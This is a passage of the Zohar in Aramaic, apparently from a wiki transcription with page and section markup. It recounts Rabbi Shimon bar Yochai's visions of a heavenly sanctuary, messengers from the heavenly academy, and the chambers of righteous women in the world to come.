רברבין. בריש מגדל דא אית עופין דנור (ס&quot;א דרורא) דקא מצפצפאן כד סליק צפרא צפצופא דנעימו דלית נעימו ונגונא כההוא נעימו. לעילא מכלהו זינין אחרנין ושפנינין אחרנין דקא פרחין באוירא סלקי ונחתי נחתי וסלקי לא משתככין לעלמין. אתוון רברבן ואתוון זעירן פרחין בינייהו. אי חסידא קדישא בשעתא דאתוון פרחין חמי ב&quot;נ מאתוון רברבן כתיב באוירא לפום שעתא. {{צ|בראשית ברא אלהים את השמים ואת הארץ}} (והארץ היתה תהו ובוהו וגו' מהכא אהדרי אתוון רברבן כמלקדמין) בטשי אתוון זעירן בהו. ופרחין ואתחזי מנייהו כתיב {{צ|ויאמר אלהים יהי אור וגו' וירא אלהים את האור וגו'}}. לבתר מהדרי אתוון זעירן ובטשי באתוון רברבן ומתחזי מנייהו דכתיב {{צ|ויאמר אלהים יהי רקיע וגו'}}. וכן כל עובדא דבראשית פליאן רברבן וחדו לעיינין עובדאן דאתוון אלין זכאה עמא דכל דא מחכאן אי חסידא קדישא מאן דנטיר ברית שוי ליה אבתרוי ואיהי לקמא ואי תימא מאן נטיר לאחורא הא נטירו רב ועלאה מכלא דנטיר ליה. ומאן איהו צדיק עלאה ברחימו סגי. עאל בין צדיק וצדק ואשתכח נטיר מכל סטרין. זכאה מאן דנטיר ברית דא ועל דא ישראל אתחזון כל דכורין דנטרין את קיימא דא קמי מלכא קדישא. מאן איהו דיכיל לנזקא לברא דאיהו באצע ואבוה מכאן ואמיה מכאן ואיהו בינייהו ודא כד איהו אחרי יי'. 

תא חזי ההוא רקיע כד סחרא בגלגולא מנגנא בנגונא ומקל נהימו דמיין דנבעין לא ידיע ההוא נגונא כל אינון אגנין די בארבע סטרין מליין מנביעו דמיין דנבעין מאן דאיהו לגו בתרין סטרין קיימא תמן. חד בחדוה דלית חדוה כההיא חדוה בעלמא לקיימא (שם ק) עבדו את יהוה בשמחה. וחד ביראה דלית דחילו כההוא דחילו בעלמא לקיימא עבדו את יהוה ביראה חד מעיינא דמייא דנביע מסטר מזרח דא הוא דאמר יחזקאל נביאה מהאי מעיינא לא יכלין לסיימא שבחא כל בני עלמא באתר דאתייליד תמן לסטר מזרח לית עומקא ורומא דיליה אלא זרתא ולא יתיר כד נבעין מיא וסלקין סלקין כל זיני מרגלאן דעלמא ולא נפלין לבר השתא אתחזון בגוון חד לפום שעתא נפלין אלין והא סלקין אחרנין כגוון אחרא בכל זיני גוונין דעלמא נפלי אינון מרגלאן ולא נפלי לבר. סחרנין דההוא נביעו חיזור ושושן סחרין ולא יכלין כל בני עלמא למיקם על אינון גוונין כלהו שלהובין מלהטאן ולא יכלין לאסתכלא בהו לא ידיע חשיבו דעובדא טרפין דלהון מנצצן בכמה גוונין עובד ציור אומנו דמארי עלמא חפיין על תלתמאה ושבעין וחמשה כרובין דתחותייהו בתר שבכין אחרנין לגו. ואינון שבכין סחור דעזרה לגו. ולעילא מנהון אינון &lt;קטע סוף=דף קסה א/&gt;

 
{{ממ זהר משולב|ג|קסה|ב}}&lt;קטע התחלה=דף קסה ב/&gt;גופנין פרישאן תחות גופנין אינון כרובין כלהו גדפין פרישן משלבן אלין באלין. הכא אמר רב מתיבתא דכל מאן דאסתכל באינון גופנין מנהרין אנפוי כנהירו דשמשא אינון שבכין דאתחמן סחור סחור דעזרה כלהו מרקמן בחוטין דנהרין בגוונין סגיאין מלהטן בד' מיני זהורין דאשא שלהובין סלקין וגוונין מנצצן ולזמנין שלהובין משתככי ונהורין וגוונין סלקין ובטשי אלין באלין שית אלף אגנין לגבי אינון שבכין ד' גוונין לד' סטרין דעזרה אלין אינון רברבין ונביעו דמיין חיין בכל סטרי. ואינון נפלי באינון אגנין ובלעי באתרייהו ואלין מיין לא ידעי לאן אזלין. באמצעו דעזרה יקומון כלהו ישראל ויתחזון קמי מלכא קדישא. בסטר דרום בעזרה דא אתייליד חד מעיינא דמיא ואתרמי (ס&quot;א ואתרמי) (ס&quot;א ואתרבי) דקא ישטפון מיא כל עלמא. מאן דייעול בהו יהון עד ברכים ייעול בהו גיבר רב ייעול בהו עד ברכים אי תינוק בר יומא עד ברכים מאן דשתי מנייהו יתחכם ויתפקח בחכמתא. מעיינא דא נפיק מגו מרגלא חדא דזעירא בכותלא דדרום אינון מיין בלעי' גו אתרא (ס&quot;א גו אתר דא) ומתמן יפקון לבר מקדשא עד דיעלו לנחל שטים ישטפון ההוא זמה דאולדין מיא דשטים. ועל דא מיין אלין בעזרה בגין אינון דאתחזון תמן דכורין הוו שתאן מן מיא לא חיישי בנוקבי. במיתיהון לאתחזאה קמי מלכא קדישא. תו דהא יתפקחון למנדע מלין סתימין דמלכא עלאה גו מקדשא דא כל הרהורין ישתכחון בר הרהורא דחדוה דמלכא קדישא. ענפא חד נפיק וגו אמצעו דההוא מעיניא. אמר רב מתיבתא כד קריבנא לההוא ענפא גו מעיינא אסתלק ענפא לעילא לעילא כל מה דקריבנא הכי אסתלק יסודא ושרשא דההוא ענפא לאו איהו אלא במיא. ההוא ענפא חפי עלמין כל גוונין דעלמא באינון טרפין דיליה איבא דיליה לא ידיע מהו ולא יכלין למנדע ואמר דקא שאיל למשיח על ההוא איבא ואמר איבא דא גניז לאיש משענתו בידו מרוב ימים מאן דזכי למנדע דא לינדע. רקיע חד אית על ההוא ענפא פריש לעילא מההוא רקיע אזיל טלא ע&quot;ג מעיינא דא ול איתיר. כד אסתכל בר נש לההוא רקיע מרחיק דמי תכלא. קריב יתיר דמי סומקא. קריב יתיר דמי ירוק קרוב יתיר דמי חוור דלית חוור בעלמא כגיניה. טלא דקא אזיל מניה אשתאיב בההוא ענפא ועביד איבא דא ואתרבי ההוא רקיעא איהו אזיל בגלגולא יתיר ממה דעיינין יכלין לאסתכלא כל אינון נטורי קיימא קדישא (ס&quot;א בעון) דבעון לאתחזאה קמי מלכא דהא לא אתחזון אלא בגין לאחזאה דאינון בני גזירו קדישא ועל דא {{צ|יראה כל זכורך}} - אינון בני קיימא קדישא. דייק רב מתיבתא {{צ|זכורך}} ולא &quot;זכרך&quot; דהא זכר כתיב ולא זכור מאי {{צ|זכורך}}? אלא כל אינון דנטרין קיימא קדישא ולא חבאן ביה אינון הוו בני מלכא דבכל יומא משתכח בהו ודכיר לון תדיר. ועל דא {{צ|זכורך}} - ההוא דאית ביה קיימא קדישא דדכיר לון מלכא בכל יומא דלית שבחא קמי מלכא עלאה (אלא) כמאן דנטיר קיימא דא ועל דא בעי דיתחזון תלת זמנין בשתא קמיה. תלת זמנין אמאי אלא בגין אבהן קדמאי דקבילו להאי ברית קדמאה לכל פקודין דאורייתא ובגין כך תלת זמנין אינון בשתא. אברהם קביל בריח. יצחק קביל בריח. יעקב הוה שלים מכלהו ועל דא כתיב ביה {{צ|ויעקב איש תם}} - שלים מכלא. אברהם {{צ|תמים}} אקרי ולא הוה כ&quot;כ שלים אבל {{צ|תם}} שלים מכלא. מה כתיב בנח {{צ|איש צדיק תמים היה בדורותיו}} דהוה רשים ברשימו קדישא בינייהו. ואמר רב מתיבתא בכל אתר דכתיב {{צ|תמים}} - דרשים ברשימו קדישא באת קיימא דברית ובגין &lt;קטע סוף=דף קסה ב/&gt;

 
{{ממ זהר משולב|ג|קסו|א}}&lt;קטע התחלה=דף קסו א/&gt;דנטר בריתא קרי תמים בדורותיו מה דלא הוו כלהו הכי דאינון מחבלן ארחייהו ועל דא כתיב {{צ|את האלהים התהלך נח}}. וכי מאן יכיל למיהך עמיה. אבל כל מאן דנטיר בריח קדישא אזדווגת ביה שכינתא ושריאת עליה ובגין כך תמים תהיה עם יהוה אלהיך. תמים תהיה ולבתר עם יהוה אלהיך בזווגא הדא דכיון דנטיר ברית דא עם יהוה להוי ולא אתפרש מניה. באברהם כתיב {{צ|התהלך לפני והיה תמים}} גזירו דאת קיימא. {{צ|התהלך לפני}} - מהכא דלא יהך גברא בתר אתתא אלא קמהא ארח כשר איהו והא כתיב {{צ|הנה אנכי שולח מלאך לפניך}}. ושלחתי לפניך מלאך. לאברהם דלא הוה גזיר דחה ליה לקמה. ועל דא לא כתיב &quot;היה תמים והתהלך לפני&quot;, אלא {{צ|התהלך לפני}} - דלא יאות אנת עד שתהא תמים וכן בכלהו כיון דבר נש תמים ונטיר ליה מיד היא לקמיה ואיהו אבתרה כשר איהו לדא. לגרעונא מה כתיב {{צ|כי שב מאחרי}}. נח גזיר הוה ותמים. פריעה לא הוה ביה ובגין דלא הוה ביה פריעה מה כתיב {{צ|את האלהים}} ולא &quot;אחר האלהים&quot; לקמא לא הוה בגין דהוה גזיר. לאחורא לא הוה בגין דלא אתפרע. איך הוה את האלהים סמיך ליה ולא יכיל לאסתכלא ביה דלאו כשר כ&quot;כ. בישראל כתיב {{צ|ויהוה הולך לפניהם יומם בעמוד ענן ולילה בעמוד אש וגו'}}. כיון דאמרו ישראל {{צ|המבלי אין קברים במצרים וגו'. כי טוב לנו עבוד את מצרים}} - כביכול אתחלש דעתא. כתיב {{צ|ויסע מלאך האלהים ההולך לפני מחנה ישראל וילך מאחריהם}}. ויסע למעבד בהו נוקמין (חסר) 

ועל דא חדי משיח וחדי רב מתיבתא דקא אתבשר בדא ואמר רב מתיבתא דהא דייק למשיח ואמר מנא הוה לדניאל דקאמר פריס פריסת מלכותך ויהיבת למדי ופרס מאינון אתוון דופרסין אשתמע ליה והכא מאי הוא א&quot;ל הכי הוא ודאי פריס פריסת מלכותך חייבא ע&quot;י דמשיח אחרא ולבתר ישלוט מלך פרס ויטול מלכוון סגיאין והוא ישלט על ארעא קדישא תריסר ירחי והוא ישלוט ויקטול סגיאין וההוא משיחא ולבתר יפול ויקבלון מלכותא קדישי עליונין. ועל דא ופרסין מלכא דפרס אשתמע הכא. אי חסידא קדישא כמה חדוה על חדוה בההוא מעיינא. בההוא מעיינא מגדלא כל זיני אילנין דנציב קב&quot;ה בג&quot;ע וכלהו קיימי לאסוותא טרפין ואיבין וענפין ולחדו לבא תדיר. ולית בינייהו כפנא ודאגה ואנחה לעלמין. זכאה עמא דכל דא מחכאן. וכל דא גניז לון. אמר ר' שמעון בקרקע דהאי מקדשא אית מאלין פליאן. א&quot;ל אי רבי אי ר' זכאה חולקך דכל האי. בההוא ע&quot;ג ההוא מעיינא דקימא אבל לית מאן דיכיל לאסתכלא ביה לזמנין נהירו דיליה נהורא. לזמנין חשוכא לזמנין גוון ארגוונא מנצצן דלא יכלין עיינין לאסתכלא. לעילא (ס&quot;א ההיא) היא דשאלת חסידא קדישא מההוא קרקע דמקדשא. רב מתיבתא לא פריש מניה דהא גניז איהו גו ירדנא והא אמינא לך מה דאמינא אבל נשאל מלה דא ותנדע מה דתנדע ירדן דא עאל ואתמשך זמנא חדא בשתא גו ההוא נהר דנפיק מעדן לאו מאינון ארבע נהרין דאתמשכן מניה אלא ביה ממש כיון דמטי לגביה איהו אתמשך ואתפשט ועאל גו ירדנא. וכיון דמטי גו קרקע דמקדשא אשתכך תמן תלת יומין ולא אתפשט ולא אתמשך לאתר אחרא. ואמר רב מתיבתא דכד אהדר ההוא נהר לאתריה שביק תמן כל זיני ציורין דקא עביד קב&quot;ה בג&quot;ע דאינון ציורין גניזין דתחות דוכתייהו (חסר) 

אלין הכא ואלין הכא וסלקי ונחתי כדקדמיתא. בההוא סטר דרום אית תלת מאה וחמשין עמודין מכל זיני מרגלאן ואלין אינון דנהרין תדיר ונטפין בוסמין טמירין דלא אתגלו לעלמין ארבע אגנין בכל &lt;קטע סוף=דף קסו א/&gt;

 
{{ממ זהר משולב|ג|קסו|ב}}&lt;קטע התחלה=דף קסו ב/&gt;עמודא ועמודא נעיצין וכד אינון בוסמין נטפין מאינון עמודין נפלי בהו ואתמליין בלהו אגנות ולא נפקין בוסמין לבר מאינון בוסמין זמינין לזמנא דאתי לאקטרא בכל יומא קטורתא קמי מלכא קדישא דלא יהוו מכתישו דבני נשא אינון בוסמין לא ידיע עקרא דלהון וממה הוו אלא מאינון עמודין נפלין תמן תרין נשרין בכל עמודא ועמודא מתנצצן מתלהטין בכל גוונין שבע מאה נשרין אינון פרחין אלין הכא ואלין הכא בגלגולא דעמודין. כד אסתחרן לא יכלין עיינין לאסתכלא דוכתא דבהו. תלת אתוון בלטין ופרחין מפומא דא לפומא דא. בגלגולא דעמודין ונשרין כל אינון אתוון מרקמן באשא חוורא ודהבא ירוקא. תרין אלפין ומאה מנרתין תליין בין אינון עמודין ותרין אלפין ומאה שרגין בכל מנרתא ומנרתא דלקין ביממא ובליליא מתדעכי על צערא דישראל. כד אתי צפרא דלקין כלהו מגרמייהו. אדהוו יתבי אמרי הא רמש ליליא. 

א&quot;ל לר&quot;ש אי חסידא קדישא נהירו דעלמא טול פנקסא דאחמתא דא וטול שרגא וכתוב מלין אלין דהא מטא זמנא דילן לפקדא כל חד וחד לגו קבריהו. עד פלגו ליליא דקב&quot;ה עאל גו גנתא לאשתעשעא בהדי צדיקייא וכדין כל חד וחד פרח לתמן. ולמחר נהוי גבך הואיל ויהבו לן רשו לאשלמא דורונא דקא משדרי לך. פרחי. בכה ר&quot;ש וגעא. פתח ואמר אילת אהבים ויעלת חן דדיה ירווך בכל עת באהבתה תשגה תמיד. אורייתא אורייתא נהירו דכל עלמין כמה ימין ונחלין ומקורין ומבועין מתפשטי מנך לכל סטרין מנך כלא עלך קיימי עלאין ותתאין נהירו עלאה (בדא) מנך נפקא. אורייתא אורייתא מה אימא לגבך אילת אהבים אנת ויעלת חן (גבי) עילא ותתא. רחימין דילך מאן יזכי לינקא מנך כדקא יאות אורייתא אורייתא שעשועים דמארך מאן יכיל לגלאה ולמימר סתרין וגניזין דילך בכה ואעיל רישיה בין ברכוי ונשק לעפרא אדהכי חמא כמה דיוקנין דחברייא סחרניה. 

א&quot;ל לא תדחל בריה דיוחאי לא תדחל בוצינא קדישא כתוב וחדי גו חדוה דמארך. כתב כל אינון מלין דשמע בההוא ליליא ולעא לון ולהג לון ולא אנשי מלה. וההוא שרגא נהיר קמיה כל ההוא ליליא עד דאתא צפרא. כד אתא צפרא זקף עינוי וחמא חד נהירו דהוה נהיר ברקיעא מאיך עינוי לתתא אהדר כמלקדמין וחמא נהירו בכל רקיע דנהיר וסליק בההוא נהירו דיוקנא דביתא בכמה ציורין. חדא ר&quot;ש ולפום רגעא אגניז ההוא נהורא. אדהכי הא אינון תרין שליחן אתיין. אשכחוהו רישיה בין ברכוי. אמרו ליה שלמא עליה דמר שלמא למאן דעלאין ותתאין בעאן לאקדמא ליה שלם. קום. קם ר&quot;ש וחדא בהו. אמרו ליה ולא חמית נייחא דרוחא דעבד לך מארך חמית נהירו דביתא ברקיעא אמר לון חמינא. אמרו ליה ביה שעתא אפיק תהומא בי מקדשא ואעבריה קב&quot;ה בימא רבא ומנהירו דיליה הוה נהיר ברקיעא. אמרו ליה רב מתיבתא בעא בשלמך והא ידע דאנן שליחן לגבך. וכמה מלין חדתין עתיקין אתחדש באורייתא בהאי ליליא. אמר לון במטו מנייכו אמרו חד מלה מנייהו. אמרו לא אתייהיב לן רשו למאי דאתינן לגבך אבל מלה חדתא הוה לגבך השתא. פתח רב מתיבתא ואמר ויאמר יהוה אל אברם לך לך מארצך וגו' דא בגין דאתנהרא ביה נהירו כגוונא דא. מאן דלא זכי באתר דא יהך וינטל גרמיה לאתר אחרא ויזכי ביה. אעא דדליק ונהורא לא סליק ונהיר ביה. ינענעון ליה ויסלק ביה נהורא ואנהיר. וחוינן זמינין למשמע. אבל בגין למיתי גבך &lt;קטע סוף=דף קסו ב/&gt;

 
{{ממ זהר משולב|ג|קסז|א}}&lt;קטע התחלה=דף קסז א/&gt;לא בעינן לאתעכבא. חדי ר' שמעון אמרו ליה אי חסידא קדישא כל מלין די כגוון באורייתא מלין זעירין אינון בכל מלה ומלה ואינון מלין זעירין כמה אינון מלין רברבין ועלאין עד דלית לון שיעורא דהא לית בגוון ספקא אלא ברירו דאורייתא על בורייה והשתא רב מתיבתא פריש מלין סתימין על דא בגין דעקרא דנשמתא אמאי לא נהיר באתר דא וזכי לאתנהרא באתר אחרא. ועד כען לא זכינן בהו בגין למיתי גבך. ומלה אחרא זכינן למשמע מניה. רוחא דאזלא בערטורא בההוא עלמא בלא בנין אנתתיה יתעביד ליה מאנא לאתבנאה איהו. מאי טעמא אנתתיה איהי שרגא דאתדליקת מניה ותרווייהו שרא חדא הוו נהורא דא נפק מנהורא דא אתדעך דא אתדליק מגו נהוריה ממש בגין דחדא נהורא הוו. השתא רבי נהדר למלין קדמאין וכד נהדר לאתרין נטול רשו מרב מתיבתא באינון מלין דנקבל מניה ונימא קמך. זכאה חולקך דאת זכי לנהורין סתימין מכל סטרין מעילא ומתתא מהאי עלמא ומעלמא אוחרא. אמר ר' שמעון מלה חדא בעינא למנדע אי תיכול לאודעא לי. נשין בההוא עלמא אי זכאן לסלקא לעילא או היך אינון תמן. אמר לי' אי רבי אי רבי. בדא אית לן רזא יתירא (ס&quot;א יקירא) בגין דלא לגלאה סתרין דתמן. אבל דא יהך ויטול רשו ונימא לך. אדהכי פרח חד. ואתכסי מנייהו ואזל ליה ולפום שעתא תב לגבייהו אמר לון זמינא הוינא למיעאל והוו כלהו בעטורא חדא דדייני דינא דחד בר נש דקאים על פתחא דגן עדן ואינון כרובין אחידו ביה ולא שבקו ליה למיעאל תמן והוה בצערא בינייהו וצווח צווחין על גבי פתחא ושמעו כולהו צדיקייא דתמן והשתא הוו מתכנפי כל בני מתיבתי למיעאל לגבי מלכא משיחא לעיינא בדיניה. ואתינא לאודעא לכו ודא חבראי אצטריך למהך תמן דכרוזא הוה אעבר בכל אינון בני מתיבתי דליהוון כנישין השתא קמי משיח. נטל פתקא חדא ויהב לר' שמעון. אמר טול דא ועיין במה דתמן עד דניתי גבך. פרחו תרוייהו ור' שמעון נטל פתקא וחמא מה דמא ברזין דתמן כל ההוא יומא. בליליא חמא שרגא ונפיל ביה שינתא ודמך עד צפרא. כד נהר יממא קם ופרח ההוא פתקא מניה והא אינון תרווייהו אתיין אמר ליה קום רבי זכאה חולקך קום בגינך חמינן וזכינן לכמה סתרין עלאין כמה חדוה אחזיו לן כד יהבו רשו לגלאה לך כל מה דאת בעי. ריש מתיבתא עלאה נפק לגבן. ואמר שאילו בשלמיה דבר יוחאי אתריה דבר יוחאי הא פנו ליה מכמה יומין לית מאן דיקרב לגביה זכאה איהו. רבי רבי כד פרחנא מגבך (בגינך) עאלנא וחמינא כל בני מתיבתי דהא מתכנפי לגו היכלא חדא דמשיח תמן ודיינו דינא דההוא בר נש דקאים על פתחא שמיה לית לן רשו לגלאה. אצטער ר' שמעון על דא. אמר ליה לא תצטער רבי על דא אנת תדע בדא ליליא בחלמך. אבל דינא דיינו עליה דגזר משיח דלהוי ההוא בר נש לבר בההוא צערא ארבעין יומין. לסוף ארבעין יומין יצערון ליה בדינא בצערא דגיהנם שעתא ופלגא. וכל דא בגין דיומא חדא חד מן חברייא הוה פריש מלין דאורייתא כד מטא לחד מלה ידע האי בר נש דיתכשל ביה ואמר לחברייא שתוקו לא תימרון מדי ובגין דשתיקו חברייא אתכשל בההוא מלה ואכסיף וההוא כסופא דגרים האי בר נש דיינין ליה בהאי דינא &lt;קטע סוף=דף קסז א/&gt;

 
{{ממ זהר משולב|ג|קסז|ב}}&lt;קטע התחלה=דף קסז ב/&gt;קשיא בגין דלא בעי קב&quot;ה לשבקא חובא דאורייתא אפילו כמלא נימא. דיינו דיניה ונפקו כל בני מתיבתא ואנא שאילנא רשו. דהא בריה דיוחאי שאיל שאלתא דא ועל דא אחזיו לי מה דלא ידענא מקדמת דנא. אי רבי שית היכלין אחזיו בכמה ענוגין ועדונין באתר דפרוכתא פרישא בגנתא. דהא מההוא פרוכתא ולהלאה לא עאלין דכורין כלל. בהיכלא חדא אית בתיה בת פרעה וכמה רבוא ואלפי נשין זכיין בהדה וכל חדא וחדא מנייהו דוכתין דנהורין ועדונין בלא דחקא כלל אית לה תלת זמנין בכל יומא כרוזי אכריזו הא דיוקנא דמשה נביאה מהימנא אתי ובתיה נפקת לאתר דפרגודא חדא דאית לה וחמאת דיוקנא דמשה וסגידת לגביה ואמרה זכאה חולקי דרביתי נהירו דא. ודא איהו ענוגין דילה יתיר מכלהו אהדרת לגבי נשין ואשתדלן בפקודי אורייתא כלהו באינון דיוקנין דהוו בהאי עלמא בלבושא דנהורא (ס&quot;א כלבושא) בלבושא דדכורין בר דלא נהרי הכי. פקודין דאורייתא דלא זכו לקיימא לון בהאי עלמא משתדלי בהו ובטעמייהו בההוא עלמא. וכל הני נשין דיתבין בהדי בתיה בת פרעה אקרון נשים שאננות דלא אצטערו בצערא דגיהנם כלל. בהיכלא אחרא אית סרח בת אשר וכמה נשין רבוא ואלפין בהדה. תלת זמנין ביומא כריזין קמה הא דיוקנא דיוסף צדיקא אתא ואיהי חדאת ונפקת לגבי פרגודא חדא דאית לה וחמאת נהירו דדיוקנא דיוסף וחדאת וסגידת לגביה ואמרת זכאה האי יומא דאתערית בשורה דילך לגבי סבאי לבתר אהדרת לגבי שאר נשין ומשתדלן בתושבחן דמארי עלמא ולאודאה שמיה. וכמה דוכתין וחידו אית לכל חדא וחדא ולבתר אהדרן לאשתדלא בפקודי אורייתא ובטעמייהו. בהיכלא אחרא אית יוכבד אמיה דמשה נביאה מהימנא וכמה אלפין ורבבן בהדה. בהיכלא דא לא מכרזי כלל אלא ג' זמנין בכל יומא ויומא אודת ומשבחת למארי עלמא איהי וכל אינון נשין די בהדה ושירתא דימא מזמרין בכל יומא ואיהי בלחודהא אמרת מהכא ותקח מרים הנביאה וגו' את התוף בידה וגו' וכל אינון צדיקייא די בגן עדן צייתין לקל נעימו דילה. וכמה מלאכין קדישין אודאן ומשבחן עמה לשמא קדישא. בהיכלא אחרא אית דבורה אוף הכי וכל שאר נשין בהדה אודן ומזמרן בההיא שירתא דאיהי אמרת בהאי עלמא. אי רבי אי רבי מאן חמי חדוה דצדיקייא ודנשין זכיין דעבדין לגבי קב&quot;ה. לגו לגו דאינון היכלין אית ארבע היכלין טמירין דאמהן קדישין דלא אתמסרן לאתגלאה ולית מאן דחמי לון. בכוליה יומא אינון בלחודיהון כמא דאמינא לך וגובירן אוף הכי ובכל ליליא אתכלילן כלהו כחדא בגין דשעתא דזווגא איהו בפלגות ליליא בין בהאי עלמא. בין בההוא עלמא. זווגא דההוא עלמא אתדבקותא דנשמתא נהורא בנהורא זווגא דהאי עלמא גופא בגופא וכלא כמה דאתחזי זינא בתר זיניה זווגא בתר זווגא גופא בתר גופא זווגא דההוא עלמא נהורא בתר נהורא. היכלין דארבע אמהן אקרון היכלין דבנות בוטחות ולא זכינא בהו למחמי. זכאה חולקהון דצדיקייא גוברין ונוקבי דאזלי בארח מישר בהאי עלמא. וזכאן לכלהו ענוגין דההוא עלמא. אי רבי אי רבי אלמלא בר יוחאי אנת לא אתמסר לגלאה. זווגא דההוא עלמא אתעביד איבא &lt;קטע סוף=דף קסז ב/&gt;

 
{{ממ זהר משולב|ג|קסח|א}}&lt;קטע התחלה=דף קסח א/&gt;יתיר מאיבא דאתעביד בהאי עלמא בזווגא דלהון בזווגא דההוא עלמא בתיאובתא דלהון כחדא כד מתדבקן נשמתין דא עם דא עבדי איבין ונפקי נהורין מנייהו ואתעבדי שרגין. ואינון נשמתין לגיורין דמתגיירין וכל הני עיילין להיכלא חדא. וכד מתגיירא גיורא חדא פרחא מההוא היכלא נשמתא ועאלת תחות גדפהא דשכינתא ונשקת לה בגין דאיהו איבא דצדיקייא ומשדרת לה לגו ההוא גיורא ושראת ביה. ומההוא זמנא אקרי גר צדק. והיינו רזא דכתיב {{צ|פרי צדיק עץ חיים}} מה אילנא דחיי אפיק נשמתין. אוף הכי צדיק איבא דיליה עביד נשמתין. רב מתיבתא אמר כתיב {{צ|ותהי שרי עקרה אין לה ולד}}. ממאי דאמר ותהי שרי עקרה לית אנא יודע דלית לה ולד מאי אין לה ולד. אלא הכי אמר רב מתיבתא ולד לא הות מולדא. אבל נשמתין הות מולדא באתדבקותא דתיאובתא דאינון תרין זכאין הוו מולידי נשמתין לגיורי כל ההוא זמנא דהוו בחרן כמה דעבדין צדיקייא בגן עדן. כמה דכתיב {{צ|ואת הנפש אשר עשו בחרן}} - נפש עשו ודאי. 

חדי ר&quot;ש א&quot;ל ההוא גברא אי רבי מה אימא לך בכל ריש ירחי ושבתי ומועדייא וזמנייא אינון דכורין סלקין לאתחזאה קמי מלכא קדישא דכורין ולא נוקבין כמה דאת אמר {{צ|יראה כל זכורך}}. וכד אהדרן מהדרן בכמה מלי חדתין ואהדרן מלין קמי רב מתיבתא. יומא דא אהדרן מלין חדתין קמי רב מתיבתא על רזין עתיקין צדיק וטוב לו. צדיק ורע לו. דכלהו סלקין גו מתקלא דאילנא עד לא ייתון לעלמא וכפום טקלא דמתקלא הכי אית לון בהאי עלמא. רב מתיבתא נחית וגלי ממה דשמע לעילא מלה חדא גלי ולא יתיר אעא דלא סליק נהוריה יבטשון ביה ואנהיר. גופא דלא סלקא ביה נהורא דנשמתא יבטשון ביה ויסלק נהירו דנשמתא ויתאחדון דא בדא לאנהרא (תרי נוסחי) בגין דאית גופא דנהירו דנשמתא לא החיר ביה עד דיבטשון ביה כדין נהיר נהירו דנשמתא ואתאחדת בגופא וגופא אתאחד בה. גופא כדין סליק נהירו מגו נשמתא מחדד מרומם ושבח מצלי צלותיה ובעותיה מברך למאריה הא כדין כלא נהיר:

בגין דאית גופא דלא יכילת נשמתא לאנהרא ביה עד דיבטשון ביה וכדין נהיר ואתאחד דא בדא. אית אעא דלא אתאחד בנהורא ולא סליק נהורא ביה עד דביטשון ביה וכדין נהיר. סטרא אחרא בעי למעבד הכי ובטש בחייביא וכל מה דבטש כדין ונר רשעים ידעך מחרף ומגדף. לכל סטרין ולא יכיל לאנהרא כלל וכדין כתיב {{צ|כי מה האדם שיבא אחרי המלך}} ובעי לאתדמי ליה ולא יכיל. ועל דא {{צ|יהוה צדיק יבחן}} ובטש ביה וכדין נהיר ואתקף בנהירו. יבחן כמה דאת אמר {{צ|אבן בחן}}. גחין ר' שמעון ונשיק לעפרא. אמר מלה מלה אבתרך רדיפנא מיומא דהוינא והשתא אשתמודעא לי מלה מגו שרשא ועקרא דכלא. 

א&quot;ל אי רבי אי רבי כד סלקין לעילא כל אינון רוחין דכורין ונוקבין בההוא זמנא שטעין (ס&quot;א כמה) מלין חדתין ועתיקין נחתין ועאלין לגו מתיבתא ואהדרן מלי קמי רב מתיבתא ואיהו אוליף לון מלה על קיומיה כד סלקין מתפשטין מלבושיהון וסלקין כד נחתי מתלבשין בלבושיהון דההוא גופא אי רבי אי רבי כמה חדתין מלין מגו רב מתיבתא. זכאה איהו מאן דאזער גרמיה בהאי עלמא כמה איהו רב ועלאה בההוא עלמא והכי פתח רב מתיבתא. מאן דאיהו זעיר איהו רב. ומאן דאיהו רב איהו זעיר. דכתיב ויהיו &lt;קטע סוף=דף קסח א/&gt;

 
{{ממ זהר משולב|ג|קסח|ב}}&lt;קטע התחלה=דף קסח ב/&gt;חיי שרה מאה שנה ועשרים שנה ושבע שנים. מאה דאיהו חשבון רב כתיב ביה שנה זעירו דשנין חד אזעיר ליה. שבע דאיהו חשבון זעיר אסגי ליה ורבי ליה דכתיב {{צ|שבע שנים}}. תא חזי דלא רבי קב&quot;ה אלא לדאזעיר לא אזעיר אלא לדרבי. זכאה איהו מאן דאזעיר גרמיה בהאי עלמא כמה איהו רב בעלויא בההוא עלמא. אדהכי שמעו שירתא דימא בקל נעימו דלא שמעו מיומא דאתבריאו קל נעימו דשירתא כההוא נעימו דהוו אמרי. וכד סיימו יהוה ימלוך לעולם ועד. חמו ד' דיוקנין ברקיע. וחד מנייהו רב ועלאה מכלהו. וההוא רב ועלאה נייהו אתער קלא ואמר כה אמר יהוה זכרתי לך חסד נעוריך אהבת כלולותיך וגו'. שאט ברקיעא ואגניז קם אחרא אבתריה ואמר והולכתי עורים בדרך לא ידעו בנתיבות לא ידעו וגו'. סיים ושאט ברקיעא ואגניז פתח אידך ואמר ישושום מדבר וציה ותגל ערבה ותפרח כחבצלת. ושאט ברקיעא ואגניז פתח אידך ואמר כה אמר יהוה בוראך יעקב וגו' (שם) כה אמר יהוה הנותן בים דרך ובמים עזים נתיבה וגו'. תכבדני חית השדה תנים ובנות יענה וגו'. סיים ושאט ברקיעא ואגניז. כדין דחילו סגיא ואמתני נפל עלייהו כד הוה נהיר יממא קלא אתער כמלקדמין ואמר עמא תקיפא כאריה גברין כנמרין הבו יקר למאריכון דכתיב {{צ|על כן יכבדוך עם עז וגו'}}. שמעו קל חילין ומשריין דהוו אמרי לך יהוה הגדולה והגבורה והתפארת והנצח וההוד וגו'. עד ומרומם על כל ברכה ותהלה. תווחו ואזלו. אדהכי נהר יממא אהדרו רישא וחמו כל מדברא חפי בענני יקר מנהרן מנצצן בגוונין סגיאין. אמרו דא לדא ודאי קב&quot;ה בעי לאשתבחא בתושבחתא דדרא דמדברא דלא הוה בעלמא דרא עלאה כדרא דא ולא יהא עד דייתי מלכא משיחא ודאי כל מה דאחמי לן קב&quot;ה לא הוה אלא בגין לאודעא לן חביבו דמאריהון עלייהו לאודעא דאית לון חולקא טבא ואינון בני עלמא דאתי ולזמנא דאתי כד יוקים קב&quot;ה מתייא זמינין אלין לאחייא בקדמיתא כמה דאת אמר {{צ|יחיו מתיך}}. ואלין אינון דרא דמדברא א&quot;ל אי מלה חדתא ידעת דאנא ערטירא בה. א&quot;ל אימא אמר קלא דהדרא בעינא למנדע. בר נש יהיב קלא בחקלא או באתר אחרא והדרא קלא אחרא ולא ידיע א&quot;ל אי חסידא קדישא על מלה דא כמה קלין אתערו וכמה דקדוקין הוו קמי רב מתיבתא וכד נחת רב 